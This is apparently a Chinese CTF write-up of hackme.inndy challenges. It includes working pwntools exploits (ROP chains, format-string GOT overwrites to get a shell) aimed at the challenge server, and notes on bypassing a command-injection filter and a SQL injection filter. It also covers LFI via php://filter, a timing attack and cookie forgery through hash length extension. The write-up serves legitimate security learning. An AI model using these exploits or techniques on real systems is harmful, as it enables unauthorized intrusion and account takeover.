hackme.inndy 部分writeup

听奥博大佬说对新手很友好, 来试试

官方不建议直接给出 flag, 就不放 flag 了

Misc

flag

All flags are in this format:
FLAG{This is flag's format}

RT

corgi can fly

Corgi is cute, right?

Pillow (Python) and Bitmap (.NET) are your friends.

(Maybe you can try stegsolve)

binwalk 试试没啥玩意儿, hexdump -C 简单看一下,
发现末尾有一段可疑的base64字符串

echo RGlkIHlvdSB0cmllZCBMU0I/Cg==|base64 -d
decode 之, 得到字符串 Did you tried LSB?

根据提示 LSB 走起, 得到二维码, 扫描之, 得到 flag

television

Looks like my television was broken

binwalk 试试没啥玩意儿, hexdump -C 简单看一下, 就发现了flag...

meow

Pusheen is cute!

binwalk 试试好像有点玩意儿, foremost meow.png 提取一下, 得到一个 zip
和 png, 试着解压发现zip有密码, unzip -v 00000094.zip
冷静分析一下这个zip

发现里面除了 flag 还有一个图片, crc32 值与开始得到的 png 一样. 显然明文攻击, pkcrack 走起.

1
2
3
4
zip plain.zip ../png/00000000.png
pkcrack -C 00000094.zip -c meow/t39.1997-6/p296x100/10173502_279586372215628_1950740854_n.png -P plain.zip -p 00000000.png -d flag.zip -a
x flag.zip
cat flag/meow/flag

where is flag

Do you know regular expression?

下载得到一个 flag.xz, head -c 100 看看解压得到的 flag 文件

wH3r3isFLAGc1oudyoufindit?qqajslfge7frHKFLAGcuonfsE4iJlrp9mCG[fl@g]eK4xdSgJpNuHP{z0ENPuio59R7nxpVgML

看起来 flag 藏在这个文件里面, 试试 cat flag|grep -oP "FLAG{[^{}]+?}", 完全看不出flag......

于是选择了暴力...
cat flag|grep -oP "FLAG{[^{}]+?}"|xargs -P 5 -n 1 ./postflag.py

暴力找到 flag 后发现其实它还是有特征的 FLAG{[0-9a-zA-Z]+}

encoder

Can you decode this?

下载解压得到 encoder.py 和 flag.enc, 乍一看怀疑这题目真的没放错区吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python2

import random
import string

def rot13(s):
return s.translate(string.maketrans(string.uppercase + string.lowercase,
string.uppercase[13:] + string.uppercase[:13] +
string.lowercase[13:] + string.lowercase[:13]))

def base64(s):
return ''.join(s.encode('base64').split())

def hex(s):
return s.encode('hex')

def upsidedown(s):
return s.translate(string.maketrans(string.uppercase + string.lowercase,
string.lowercase + string.uppercase))

flag = 'FLAG{.....................}' # try to recover flag

E = (rot13, base64, hex, upsidedown)

for i in range(random.randint(30, 50)):
print i
c = random.randint(0, len(E) - 1)
flag = '%d%s' % (c, E[c](flag))

open('flag.enc', 'w').write(flag)

不过虽然看上去挺难, 但仔细点就会发现 c 的值就在密文开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from binascii import unhexlify
from base64 import b64decode
import string

def unrot13(s):
return s.translate(str.maketrans(string.ascii_uppercase[13:] + string.ascii_uppercase[:13] +
string.ascii_lowercase[13:] + string.ascii_lowercase[:13],
string.ascii_uppercase + string.ascii_lowercase))

def unupsidedown(s):
return s.translate(str.maketrans(string.ascii_lowercase + string.ascii_uppercase,
string.ascii_uppercase + string.ascii_lowercase))

def unbase64(s):
return b64decode(s).decode()

def unhex(s):
return unhexlify(s).decode()

with open('./flag.enc') as f:
data = f.read()

E = (unrot13, unbase64, unhex, unupsidedown)

for i in range(50):
c, data = int(data[0]), data[1:]
data = E[c](data)
if data.startswith('FLAG'):
print(data)
break

slow

nc hackme.inndy.tw 7708

OMG, It's slow.

这道题本来一直都没有头绪, 后来打完 TJCTF 后再看, 才反应过来是时序攻击.
因为打 TJCTF 的时候也遇到了一道类似的, 体验十分艹蛋..., 道理我都懂, 可我网络不好啊(摔).
当时找到了一个轮子 timeauth, 颜值挺高, 不过没有多线程太弱了orz

尤其是对于这道题, 验证一次要数秒, 每多一位验证时间也 +1s, 没有多线程那得跑多久......
于是毫不犹豫 fork 了一份拿来魔改: timeauth

charset 37位, 开个19线程. 跑了二十多分钟就出 flag 了.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from string import ascii_uppercase, digits
from time import time

from pwn import remote, context
from timeauth import TimeAuthChecker

class ExampleChecker(TimeAuthChecker):

def __init__(self):
super(self.__class__, self).__init__(
charset=ascii_uppercase + digits + '_',
token_length=30, # 随便猜的长度
max_thread=19
)

def request(self, token):
context.log_level = 'error'
s = remote('hackme.inndy.tw', 7708)
base_time = time()
s.sendlineafter('What is your flag?', 'FLAG{' + token + '}')
s.readall()
s.close()
return time() - base_time


if __name__ == "__main__":
a = ExampleChecker()
a.process()
a.print_token()

(考虑到本咸鱼不知道向后兼容为何物, 这份代码说不定现在已经跑不了了)

pusheen.txt

Do you think pusheen is cute?

下载解压得到 pusheen.txt, 里面是一堆不可名状的字符画

总共就两种, 把这个序列转成二进制, 再转ASCII, 就得到了 flag

1
grep -oP "(▄▀▀▒██▒██▒)|(▄▀▀ ██ ██ )" pusheen.txt|xargs echo -n|sed 's/▄▀▀▒██▒██▒/1/g;s/▄▀▀ ██ ██/0/g;s/ //g'|rax2 -bt

big

It's a big file, read the flag.

下载一个 big.xxz, 解压一次得到 big.xz. 里面是个 16G 的 big 文件

xzcat 看一下前面, 发现都是 THISisNOTFLAG{}, 估计在最末尾......

1
2
3
4
5
import lzma

f = lzma.open('./big.xz')
f.seek(-100, 2) #巨慢的 seek()...
print(f.read())

(听 M4x 师傅说这道题 Inndy 师傅本意是让我们直接修改 xz 文件去掉开头的一堆重复...)

后来我试着研究了一下, 放弃了

Web

hide and seek

Can you see me? I'm so close to you but you can't see me.

在首页

guestbook

This guestbook sucks. sqlmap is your friend.

打开网站, 有三个选项, Home, Message List, 和 New Post. 点击 New Post
随便发个帖, 然后回到 Message List, 点击即可进入开始发的帖子.

获得帖子的 url 如下: https://hackme.inndy.tw/gb/?mod=read&id=9

试着访问 id=8, 访问不了. 直接 sqlmap -u 'https://hackme.inndy.tw/gb/?mod=read&id=9' 失败, 显示被重定向. 看了需要传递更多的信息给 sqlmap (cookie, user-agent 啥的)

首先利用 BurpSuite 抓包, 然后对截获的数据包执行 Action: Copy to file.
假设保存为了 request.txt. 然后执行 sqlmap -q request.txt -p id,
成功判断出注入类型为基于时间的盲注, 然后按套路找 flag 就行.

LFI

What this admin's password? That is not important at all, just get the flag.
Tips: LFI, php://filter

本地文件包含漏洞. 使用
php://filter/read=convert.base64-encode/resource=pages/login 读取 login.php 的源码, 得到了管理员用户名和密码的 MD5, 根据 MD5 查到 password, 登录得到flag

homepage

Where is the flag? Did you check the code?

根据提示去找code, 能发现一个 aaencode 过的js, 解密以后得到如下代码

(值得一提的是 chrome 似乎自带了反混淆功能? 执行混淆后的代码, 在输出中点击 VM374:3 这种, 就会得到非常清晰的代码)

1
2
3
4
5
6
7
8
9
10
11
12
function print_qrcode(o, c, n, e) {
var r = [],
l = [];
c = c || "22px", n = n || "black", e = e || "white";
for (var i = 0; i < o.length; i++) {
for (var p = o[i], t = 0; t < p.length; t++) l.push("%c\u25a0"), r.push("line-height:0; font-size: " + c + "; color:" + ("1" == p[t] ? n : e));
l.push("\n")
}
r.unshift(l.join("")), console.log.apply(console, r)
}
var qrcode = ["11111110001000110011101111111", "10000010111000110100101000001", "10111010100000100100001011101", "10111010010010010001001011101", "10111010111010111010101011101", "10000010101010011001001000001", "11111110101010101010101111111", "000000001011000101101", "1101001100011110101000111011", "1111000111011010110011110001", "1101111000011100101100011001", "110111011111110110110101001", "01011011001100101111111101001", "00100101010101000101110000111", "00011011000101100110011001111", "1010110101010001111101101001", "00001011110011000111110001111", "0101100100001110100011110001", "10010111100110100010110111011", "0010110110101011011010011101", "10010110010000001010111110111", "0000000011110010110110001111", "1111111010100000101010101111", "10000010000000111000100011101", "10111010001010001000111110011", "1011101010111000001010100111", "10111010001010000111110010001", "1000001011101111111110010101", "1111111011010110010011001101"];
console.log("%cI love CTF!", "color: pink; font-size: 64px"), print_qrcode(qrcode, "25px", "#333", "#ccc");

可以看到里面有 qrcode 字样, 将这串01数组转成图片就能得到二维码(有个比较短的需要自己补齐),
扫描得到flag

ping

Can you ping 127.0.0.1?

题目给了源码, 目的是对这个命令注入 ping -c 1 "{$ip}" 2>&1

过滤了 &, |, ; 等字符, 但可以用 \$(ls) 这种来替换掉原来的ip, 可以在报错中得到部分信息.

虽然过滤了 cat, 但 linux 下能读取文件的命令还很多, 至于字符串 flag 被过滤就用通配符来代替即可

scoreboard

DO NOT ATTACK or SCAN scoreboard, you don't need to do that.

嗯....藏在post的HEADER里

login as admin 0

SQL Injection!

可以看到源码, SQL语句模板如下
"SELECT * FROM `user` WHERE `user` = '%s' AND `password` = '%s'".
并且网页会在源码中返回 debug 信息, 包含了完整的 SQL 语句.

代码主要过滤了 ' , 将其替换为了 \' , 可以用 \' 绕过. (替换后变成了 \\', 我们添加的转义符转义了它添加的转义符233 )

login as admin 3

又是神奇的比较, "asd" == 0 , 妙啊妙啊. 使 sig=0 就能保证验证通过(对于这道题)

login as admin 4

本意应该是检测到密码不对就跳转到 fail 页面, 然而添加完 header 以后并没有及时退出, 只要找个命令行工具就可以忽略掉跳转看到后面的 flag 了

login as admin 6

extract函数可以从一个数组中导入变量到当前的符号表中, 那直接简单粗暴地发送 {"user": "admin"} 就好了...

login as admin 7

验证密码的方式是

1
md5($_POST['password']) == '00000000000000000000000000000000'

php 的神奇类型转换, '0e123456' == '0', 只要找一个以 0e 开头并且后面全是纯数字的 md5 就行了.

搜一下能搜到很多.

dafuq-manager 1

Login as guest and find flag 1

篡改cookie的题, 进去后有提示

Reversing

helloworld

Guess a number please :D

猜数字, 没啥混淆, 直接IDA

simple

A little bit harder

确实很simple

1
2
3
4
5
6
#!/usr/bin/env python

s = b'UIJT.JT.ZPVS.GMBH'

for i in s:
print(chr(i - 1), end='')

pyyy

Can you pass the challenage?

uncompyle6 反编译一下就行. 传说中的Y-组合子, 可以实现匿名函数的递归.
举个例子, 下面代码中的 self 就代表那个匿名函数自身.

1
2
(lambda _, arg1, arg2: _(_, arg1, arg2))(
lambda self, arg1, arg2: 'I can call my self', arg1, arg2)

不过不知道也无所谓, 反正得到 flag 只要 int(c) == l 成立. c 是用户输入, l 是程序计算得到的值, 而且与 c 无关.

那直接加个 print 输出 l 就行.

accumulator

Reverse this for the flag

程序接受一个 flag, SHA512 后送入某函数(姑且称之为 check )检查.

分析check函数可得知验证方法就是把每一位累加, 然后与一个全局数组进行比对.

提取出全局数组, 然后两两作差即可得到flag

GCCC

Maybe you should try some z3 magic.

一个 .Net 程序, 反编译以后可以发现只要求得一个 uint32 变量的值就能得到flag了.

验证过程并不耗时, 于是直接爆破, 秒出 flag . (不过我的爆破顺序是从2^32^ -> 1)

ccc

ccc cc

程序接受一个flag, 分别计算前 3, 6, 9, ... 位的crc32值然后与 hashes 数组中的值进行比较.

每次的爆破量只有三位, 直接爆破就行

bitx

bits?

这道题可以不逆向直接一位一位爆破...不知道是故意的还是题目漏洞...

2018-rev

Happy New Year 2018! Can you execute this binary on the right time with the right argv?

运行/反编译可以得知, 这个程序需要在 argc == 2018 && argv[0][0] == 1 && envp[0][0] == 1 和时间为
2018-01-01 00:00:00 (UTC) 的情况下才会输出flag.

argc 直接 ./2018.rev {1..2017} 就能满足, argv[0][0] 的话可以建立一个名为 \x01 的文件夹 (ls 看起来是这个样子
$'\001', nautilus 里看到是个空白...) 然后 $'\001'/2018.rev {1..2017}

envp 那个试了一下不好解决, 主要是没办法让自己的变量刚好在第一位.
于是我就用IDA patch掉了这里 (当然后面引用了这个地方的也要一并patch掉)

时间这个一开始用 libfaketime, 一直通不过验证. 一怒之下直接也 patch 掉了这里, 然后发现这个时候其实已经可以看出flag了...

也可以直接改时间: sudo date -su '2018-01-01 00:00:00';$'\001'/2018.rev {1..2017}得到完整的flag.

(其实一开始想到了这个, 可是觉得改回来会很麻烦就一直没去做, 最后试了才发现这个时间系统秒改回...完全不用担心把时间弄乱

what-the-hell

Tips: modinv, Something is slow there in my code, make it faster.

这道题真是把我坑到了.

首先IDA走起, 程序接受两个 uint 数字赋给两个 int 变量. 然后调用
calc_key3 验证并计算下一步的key.

前面四个条件用 z3 + gmpy2 轻松算出了一组结果. 接下来就是what函数,
真的是相当慢.

1
2
3
4
5
6
7
8
9
10
11
12
13
a1, a2 = BitVecs('a1, a2', 32)
solver = Solver()
solver.add(a1 * a2 == -574406350)
solver.add((a1 ^ 0x7E) * (a2 + 16) == 1931514558)
solver.add((SignExt(16, a1) - SignExt(16, a2)) & 0xFFF == 3295)

while solver.check() == sat:
m = solver.model()
x = m[a1].as_long()
y = m[a2].as_long()
if is_prime(x):
print(x, y)
solver.add(Or(a1 != x, a2 != y))

不难看出 what is fibonacci, 第一反应是使用 gmpy2.fib 进行计算. 算了半天发现不对劲, 才想起这个地方会溢出.

于是使用 numpy.int32 手动运算, 辅以 lru_cache, 然而 maxsize 太小速度过慢,
太大轻松爆内存, 再加上 Python 递归层数限制....最后选择用 C .

C语言的实现非常高效, 然而并没有跑出我需要的key.
反复检查以后无奈跑到了M4x大佬的博客, 看了大佬的wp才发现这个地方a1和a2有两组解....

修改程序跑出另一组解, 顺利拿到 key, 然后直接用IDA patch掉多余的部分, 直接令 key = xxxx.

运行, 输入 key1 key2, 成功得到 flag

mov

MOV instruction is turing complete!

有了 bitx 那道题的经验, 这道题又直接逐位爆破搞了出来...
(爆破真是太棒了)

Pwn

catflag

nc hackme.inndy.tw 7709
Try using nc connect to server!

签到题, nc 上去 cat flag

homework

nc hackme.inndy.tw 7701
Source Code, Index out bound, Return Address

给了二进制和源码, 题目其实很简单, 数组下标越界导致了任意位置读写,
就算开了 canary 也没用.

直接把 ret 所在位置覆盖为 call_memaybe 函数地址就行了.

(然而太久没做 pwn 的我竟然把偏移算错了....)

ROP

nc hackme.inndy.tw 7704
Tips: Buffer Overflow, ROP
ROP輕鬆談 by L4ys

首先 checksec 一下, 没有 canary. 一个采用静态链接的巨大程序.

到题目给出的链接看了一下, 应该是使用 ROPgadget. 试了一下,
一行代码就找出了 ROP chain, 妙啊. 然后计算好偏移把 ROP chain 写进去就行了.

ROP2

1
2
> nc hackme.inndy.tw 7703
>

ROPgadget not working anymore

1
2
3
4
5
6
[*] '/tmp/tmp/rop2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开了栈不可执行. 不过可以调用 SYS_read, 往 some_buffer (.bss段的某个全局变量) 写入 /bin/sh, 然后调用 SYS_exexce get shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from pwnlib.constants import *

pwnlib.gdb.context.terminal = ['konsole', '-e']
context(log_level='DEBUG', arch='i386')

io = remote('hackme.inndy.tw', 7703)
# io = process('./rop2')
ex = ELF('./rop2')
# pwnlib.gdb.attach(io)
# raw_input()

buf_addr = ex.symbols['some_buffer']
syscall_addr = ex.plt['syscall']
overflow_addr = ex.symbols['overflow']

payload = flat(['\x90' * (0xC + 0x4), syscall_addr, overflow_addr,
SYS_read, constants.STDIN_FILENO, buf_addr, 7])
io.sendafter(':', payload)
io.send('/bin/sh')

payload = flat(['\x90' * (0xC + 0x4), syscall_addr, 0xdeadbeef,
SYS_execve, buf_addr, 0, 0])
io.sendafter(':', payload)
io.interactive()
io.close()

toooomuch

nc hackme.inndy.tw 7702
Can you pass the game?

送分题, 二分法慢慢猜就猜到了

toooomuch-2

nc hackme.inndy.tw 7702
Get a shell, please.
Tips: Buffer overflow, 0x8048560, shellcode

和上一道题几乎一样的二进制文件, 不过把 cat flag 改成了 cat fake_flag.

先检查一下, 发现什么保护都没开, 然后有个全局变量 password 是可控的

往这里面写入 shellcode 然后跳转到这儿就能 getshell 了

echo

nc hackme.inndy.tw 7711
Tips: format string vulnerability

1
2
3
4
5
6
7
▶ checksec echo
[*] '/home/aloxaf/CTF/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

程序非常简单, 就是读入一个字符串然后用 printf 输出. 非常明显的格式化字符串漏洞.
并且有 system 函数可以利用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-10Ch]
unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(&s, 256, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

pwnlib.gdb.context.terminal = ['konsole', '-e']
context(arch='i386', log_level='debug')
io = process('./echo')
# io = remote('hackme.inndy.tw', 7711)
elf = ELF('./echo')

# 没有开ASLR, 可以直接从 elf 中读取 plt
printf_got = elf.got['printf']
system_plt = elf.plt['system']
log.info('printf_got: {:#x}'.format(printf_got))
log.info('system_plt: {:#x}'.format(system_plt))

# pwnlib.gdb.attach(io)

payload = fmtstr_payload(7, {printf_got: system_plt})
log.info('payload: ' + payload)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

第一次做出格式化字符串的题, 看了半天CTF wiki, 终于明白原理了.

利用格式化字符串可以做到任意地址读写, 基本思路是先泄露 system 地址.
然后把 GOT 表中 printf 的地址替换为 system 的. 这样第二步输入 /bin/sh就可以 getshell 了

补充: 记录一下原理免得自己忘记. 首先我们的格式化字符串是在栈上的, 并且相对与 printf 的 ebp 的位置应该是不变的. 所以我们可以在本地调试的时候确定格式化字符串的位置,

然后使用 %n\$p 这种方式就能输出格式换字符串本身了(当然一次只有4个字节, 而且是hex形式).

如果使用 %n\$s 的话, 就能把这个位置的数据解释为地址, 然后将这个地址的内容当做字符串取出.
如果使用 %n\$n 的话, 就能把这个位置的数据解释为地址, 然后往这个地址写入当前已输出的字符数.

至于 n 的值, 可以通过输入 AAAA%p%p%p... 这样的字符串, 然后在输出中寻找 0x41414141 来定位, 也可以直接 gdb 在 printf 处下断点, 然后 stack 20 先把栈打印出来, 再寻找.

echo2

nc hackme.inndy.tw 7712
Tips: ASLR enabled

1
2
3
4
5
6
7
▶ checksec echo2
[*] '/home/aloxaf/CTF/echo2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

和上一题主要有两个不同, 一个是64位, 另一个是开启了ASLR

先执行一下, 输入 AAAAAAAA%p%p%p%p%p%p%p%p 根据结果 AAAAAAAA0x7fa5b1b827300x7fff524033000xfbad208b0x7fa5b1b815c00x7fa5b1b827200x4141 4141414141410x70257025702570250x7025702570257025 可以判断出偏移是6.

这题做了很久, 最后看了下 M4x 师傅的博客, 得知可以泄露 main 和 __libc_start_main 的地址, 继而计算出基址, 然后就可以覆写 GOT 来 get shell 了.

调试判断出距离 main+74 的偏移是41, __libc_start_main+243 的偏移是 43

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
from LibcSearcher import LibcSearcher

pwnlib.gdb.context.terminal = ['konsole', '-e']
context(log_level='DEBUG', arch='amd64')

# io = process('./echo2', env={"LD_PRELOAD": "./libc-2.23.so.x86_64"})
io = remote('hackme.inndy.tw', 7712)
elf = ELF('./echo2')

# pwnlib.gdb.attach(io, 'b printf')

# 泄露 main 函数基址, __libc_start_main 基址
io.sendline('%41$p %43$p')
main_addr, libc_addr = (int(i, 16) for i in io.recv().split())
main_addr -= 74
libc_addr -= 240
log.info('main_addr: {:#x}'.format(main_addr))
log.info('libc_addr: {:#x}'.format(libc_addr))

# 得到 libc 基址
libc = LibcSearcher('__libc_start_main', libc_addr)
libc_base = libc_addr - libc.dump('__libc_start_main')
log.info('libc_base: {:#x}'.format(libc_base))

# 得到 elf 基址
elf_offset = main_addr - elf.symbols['main']
# 得到 printf_got 地址
printf_got = elf_offset + elf.got['printf']
log.info('printf_got: {:#x}'.format(printf_got))
# 得到 system 地址
system_addr = libc_base + libc.dump('system')
log.info('system_addr: {:#x}'.format(system_addr))

# 64位没法使用 fmtstr_payload, 因为默认把地址放在前面会导致大概率被 \x00 截断
def fmt_str_payload64(offset, src, data):
"""
生成 64 位格式化字符串payload
offset: 偏移
src: 源地址
data: 欲写入内容
"""
payload1, payload2 = [], []
addr = [[ord(v), i] for i, v in enumerate(p64(data)[:-2])] # 最后两位一般是 \x00
addr = sorted(addr)
chr_cnt = 0
for index, value in enumerate(addr):
payload1.append('%{:02}c%{}$hhn'.format(value[0]-chr_cnt, offset+9+index))
payload2.append(src+value[1])
chr_cnt = value[0]

# 用 '_' 对齐
return flat(payload1 + ['_' * 6] + payload2)

payload = fmt_str_payload64(6, printf_got, system_addr)

io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()

io.close()

这个地方有个坑点就是 240 这个数, 和 libc 的版本相关...
问了 M4x 师傅才知道, 我果然还是太 naive 了

echo3

1
2
> nc hackme.inndy.tw 7720
>
1
2
3
4
5
6
7
➤ checksec echo3
[*] '/home/aloxaf/CTF/echo3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

这道题的难点主要是缓冲区不在栈上, 而是在堆上.

这极大地限制了任意地址读写的能力, 基本上只能靠%$n来读写当前栈里的数据.

smashthestack

nc hackme.inndy.tw 7717

Tips: stderr is available, beware of the output

Canary 和 NX 都开了, 本来注意到如下代码, 想着能不能让 buf 为 0xFFFFFFFF 然后一直泄露到堆上.

一直失败, 后来冷静分析才意识到这段内存不一定全部都能访问, 而且 0xFFFFFFFF bytes = 4 GiB. 怎么可能这样泄露...

1
2
3
write(1, "Try to read the flag\n", 0x15u);
read(0, buf, 0x10000u);
write(1, buf, *(size_t *)buf);

于是又跑去看 M4x 师傅的博客, 看到了这篇文章: 论canary的几种玩法

非常硬却失挺的方法, 学习了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

gdb.context.terminal = ['konsole', '-e']
context.log_level = 'DEBUG'

io = remote('hackme.inndy.tw', 7717)
# io = process('./smash-the-stack')
ex = ELF('./smash-the-stack')
buff_addr = ex.symbols['buff']

# gdb.attach(io)
# raw_input()
io.send(p32(buff_addr) * 50)
io.interactive()
io.close()

Crypto

easy

526b78425233745561476c7a49476c7a4947566863336b7349484a705a3268305033303d

unhexlify + base64

r u kidding

EKZF{Hs'r snnn dzrx, itrs bzdrzq bhogdq}

凯撒

not harder

Nm@rmLsBy{Nm5u-K{iZKPgPMzS2IlPc%_SMOjQ#O;uV{MM?PPFhk|Hd;hVPFhq{HaAH<
Tips: pydoc3 base64

base85 + base32

classic cipher 1

MTHJ{CWTNXRJCUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZOHIXOEOWMEHZO}
Solve this substitution cipher

替代密码, 随便找个网站跑一下, 再冷静分析一下, 应该不成问题

classic cipher 2

Solve this vigenere cipher

随便搜一搜找个工具就行了....

开始用自己的工具解, 一直解不出,
后来才发现自己设的最大秘钥长度刚好比这个秘钥小了一位orz

easy AES

Can you encrypt things with AES?
Tips: What is symmetric cipher?

对称加密, 加解密秘钥是同一个

one time padding

You will never see flag?!

这题目想了半天没想通, 题目采用了随机等长密钥, 使得字频分析失效. 感觉非常牢不可破的样子, 后来去搜 writeup 才明白...

注意到一行注释: // X ^ 0 = X, so we want to avoid null byte to keep your secret safe :)

这意味着, 密文中不会出现明文中有的字符...那么只要收集到足够的密文然后统计就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util import number
import requests

url = 'https://hackme.inndy.tw/otp/?issue_otp=illya'

ciphers = ''
for i in range(100):
ciphers += requests.get(url).text

b = [number.long_to_bytes(int(i, 16)) for i in ciphers.split()]

for _ in range(len(b[0])):
c = set(range(256)) - set([i[_] for i in b])
if len(c) == 1:
print(chr(c.pop()), end='')
else:
print('')
print(bytes(c))

然而很迷的是跑出来的 FLAG 不完整...好在能够猜出来

shuffle

I have shuffled my text file, can you recover it?

脚本逻辑很简单, 一段明文, 两种加密方式, 一是对明文做一个随机的替代密码存起来, 二是把明文打乱存起来.

统计字频可以还原出替代密码表, 然后就可以大致还原出明文了(个别符号的出现次数可能相等).

login as admin 2

Please login as admin. Tips: length extension attack

题目提示是长度扩展攻击

Google了一下, 原理没看懂, 工具倒是找到了

注意到得到 flag 的条件是 $user['admin']为 true, 也就是说对用户名并没有要求

1
<?php if($user['admin']) printf("<code>%s</code>", htmlentities($flag)); ?>

分析设置 cookie 的代码, 得知 cookie 内容为 $sig#$serialized, 以 guest 为例, 内容为 6bcb9c9155975a53e951b0b50f137480#name=guest&admin=0

只要能够修改 admin 为非 0 值, 就能得到 flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function set_user($user_data)
{
global $user, $secret;

$user = [
'name' => $user_data['name'],
'admin' => $user_data['admin']
];

$serialized = http_build_query($user);
$sig = md5(md5($secret).$serialized);
$all = base64_encode("{$sig}#{$serialized}");
setcookie('user', $all, time()+3600);
}

然而 cookie 有验证过程, cookie 通过验证的条件是: md5(md5($secret).$serialized) == $sig, 如果知道 $secret 的值的话, 就很简单了, 然而并不知道...

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function load_user()
{
global $secret, $error;

if(empty($_COOKIE['user'])) {
return null;
}

list($sig, $serialized) = explode('#', base64_decode($_COOKIE['user']), 2);

if(md5(md5($secret).$serialized) !== $sig) {
$error = 'Invalid session';
return false;
}

parse_str($serialized, $user);
return $user;
}

这个时候就要用到 哈希长度扩展攻击

哈希长度扩展攻击(Hash Length Extension Attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段。该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(key ∥ message) 此类构造的散列函数。MD5和SHA-1 等基于 Merkle–Damgård 构造的算法均对此类攻击显示出脆弱性。

这类哈希函数有以下特点

  • 消息填充方式都比较类似,首先在消息后面添加一个1,然后填充若干个0,直至总长度与 448 同余,最后在其后附上64位的消息长度(填充前)。
  • 每一块得到的链接变量都会被作为下一次执行hash函数的初始向量IV。在最后一块的时候,才会将其对应的链接变量转换为hash值。

一般攻击时应满足如下条件

  • 我们已知 key 的长度,如果不知道的话,需要爆破出来
  • 我们可以控制 message 的消息。
  • 我们已经知道了包含 key 的一个消息的hash值。

这样我们就可以得到一对(messge,x)满足x=H(key ∥ message)虽然我们并不清楚key的内容。

--- CTF Wiki

简要地讲, 如果已知 $key 的长度和 $mes 的内容和 md5($key.$mes) 的值, 利用 哈希长度扩展攻击 , 就可以构造一个 $pad, 使得我们可以获取 md5($key.$mes.$pad.$mes2) 的值, 其中 $mes2是自定义的信息.

以 hashdump 和马猴烧酒为例, 用如下命令可以得到新的 $sig$serialized

1
2
3
▶ hashpump -s 6bcb9c9155975a53e951b0b50f137480 -d 'name=guest&admin=0' -a 'illya' -k 32
4b6fe69cd0880b2e01e609d8ed9fd30a
name=guest&admin=0\x80\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00illya

比较迷的一点是, 一开始在 Chrome 里直接改 Cookie 然后刷新似乎不行 = =. 最后用 httpie 提交才获得了 flag. orz

xor

I've X0Red some file, could you recover it?

以前写过工具, 利用重合指数法攻击

emoji

(´・ω・`)

chrome 直接打开编码有问题, curl 看看.
然后复制到搜到的解密工具 https://tool.lu/js/ 里得到源码).

代码逻辑不难, 加密部分直接爆破就行. 需要注意的是程序在 nodejs 环境下才能运行.

1
2
3
4
5
6
def crack(n):
for i in range(256):
if (i * 0xb1 + 0x1b) & 0xff == n:
return i

print(bytes([crack(ord(i)) for i in crypted]).decode())

得到后直接放参数里运行

ffa

finite field arithmetic

有限域算法? 看不懂, 先无脑上z3. 根据代码来看第一步应该是还原出 a, b, c 的值.

一开始直接用Int类型跑半天没跑出结果, 后来看了 M4x 师傅的博客才知道BitVec更快orz, 算一算最大262位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json
from z3 import *

for k, v in json.load(open('crypted')).items():
globals()[k] = v

solver = Solver()

a, b, c = BitVecs('a b c', 262)
for _ in [a, b, c]:
solver.add(_ >= pow(2, 256, m))
solver.add(_ < pow(2, 257, m))
solver.add((a + b * 3) % m == x)
solver.add((b - c * 5) % m == y)
solver.add((a + c * 8) % m == z)

models = []
while solver.check() == sat:
m = solver.model()
print(m)
models.append(m)
solver.add(Or(a != m[a], b != m[b], c != m[c]))

这次还好, 只有一组值.

1
2
p = pow(flag, a, M)
q = pow(flag, b, M)

于是现在变成了已知 p, q, a, b, M, 求 flag. 气氛突然 RSA 了起来.

和 RSA 的共模攻击很像, 照着 CTF wiki 的代码抄一遍

1
2
3
4
5
6
7
8
9
10
11
from gmpy2 import gcdext, invert
from Crypto.Util.number import long_to_bytes

a = m[a].as_long()
b = m[b].as_long()

gcd, s, t = gcdext(a, b)
s = -s # 此处 s < 0
p = invert(p, M)
plain = pow(p, s, M) * pow(q, t, M) % M
print(long_to_bytes(plain))

Programming

fast

1
2
> nc hackme.inndy.tw 7707
>

How fast could you be?

nc 上去后题目会给出 10000 个表达式让你求值, 并且限制了时间.

这道题要注意的点主要是:

  • 梯子, 没梯子光接收数据都能超时...(一开始还以为这是 feature, 意在让我边接收边计算)
  • 运算要遵循 C 语言下32位有符号整数的运算规则

